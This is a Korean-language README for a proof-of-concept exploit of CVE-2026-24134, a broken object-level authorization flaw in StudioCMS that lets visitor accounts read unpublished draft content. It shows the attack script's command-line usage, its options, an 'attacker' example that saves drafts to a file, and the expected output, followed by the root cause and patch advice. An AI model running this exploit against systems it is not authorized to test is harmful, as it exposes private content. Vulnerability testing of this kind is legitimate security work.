
# CVE-2026-24134 개념 증명 익스플로잇 StudioCMS의 Broken Object Level Authorization 취약점으로, 초안 콘텐츠에 대한 무단 접근을 시연합니다.
이 저장소는 StudioCMS의 CVE-2026-24134, 즉 객체 수준 권한 부여(BOLA) 취약점에 대한 개념 증명(PoC)을 포함합니다.
cve_2026_24134_poc.py - Python 공격 스크립트pip install requests colorama
# 기본 사용법
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# 출력을 파일로 저장
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148 \
--save
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--auto-test \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--editor-user editor01 \
--editor-pass editorpass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
-u, --url - 대상 StudioCMS 기본 URL--uuid - 대상 초안 콘텐츠 UUID--username - 인증용 사용자 이름--password - 인증용 비밀번호--auto-test - 자동화 테스트 활성화--visitor-user - 방문자 계정 사용자 이름--visitor-pass - 방문자 계정 비밀번호--editor-user - 편집자 계정 사용자 이름--editor-pass - 편집자 계정 비밀번호--save - 응답 콘텐츠를 파일로 저장--no-ssl-verify - SSL 인증서 검증 비활성화python3 cve_2026_24134_poc.py \
--url http://target.com \
--auto-test \
--visitor-user test_visitor \
--visitor-pass SecurePass123! \
--editor-user test_editor \
--editor-pass SecurePass456! \
--uuid 12345678-1234-1234-1234-123456789abc
취약한 경우 예상 출력:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[+] Successfully accessed draft content!
[!] VULNERABILITY CONFIRMED!
패치된 경우 예상 출력:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[*] Access denied (403 Forbidden)
[+] VULNERABILITY NOT PRESENT
python3 cve_2026_24134_poc.py \
--url http://localhost:4321 \
--username attacker \
--password pass123 \
--uuid target-uuid-here \
--save
이 명령은 전체 초안 콘텐츠를 draft_{uuid}.html 파일로 저장합니다.
[+] - 성공적인 작업 (녹색)[*] - 정보 메시지 (파란색)[!] - 경고 (노란색)[-] - 오류 (빨간색)취약한 버전의 StudioCMS를 실행 중이라면 즉시 패치된 버전으로 업데이트하세요.
실제 문제: 권한 부여 검사가 서버 측이 아닌 클라이언트 측(JavaScript)에서 수행되었습니다.
개발팀에 따르면:
"현재 리다이렉트를 위한 등급 수준 검사가 클라이언트 JS에서 수행되고 있으며, 곧 교체될 예정이었습니다."
해결 방법: 권한 부여를 클라이언트에서 서버로 이동하세요.
핵심 원칙: 클라이언트를 절대 신뢰하지 마세요. 클라이언트 측 보안 = UX 향상. 서버 측 보안 = 실제 보호.
중요: 이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다.
이 PoC 또는 취약점에 대한 질문이 있으시면:
이 PoC는 교육 목적으로 배포됩니다. 책임감 있고 윤리적으로 사용하세요.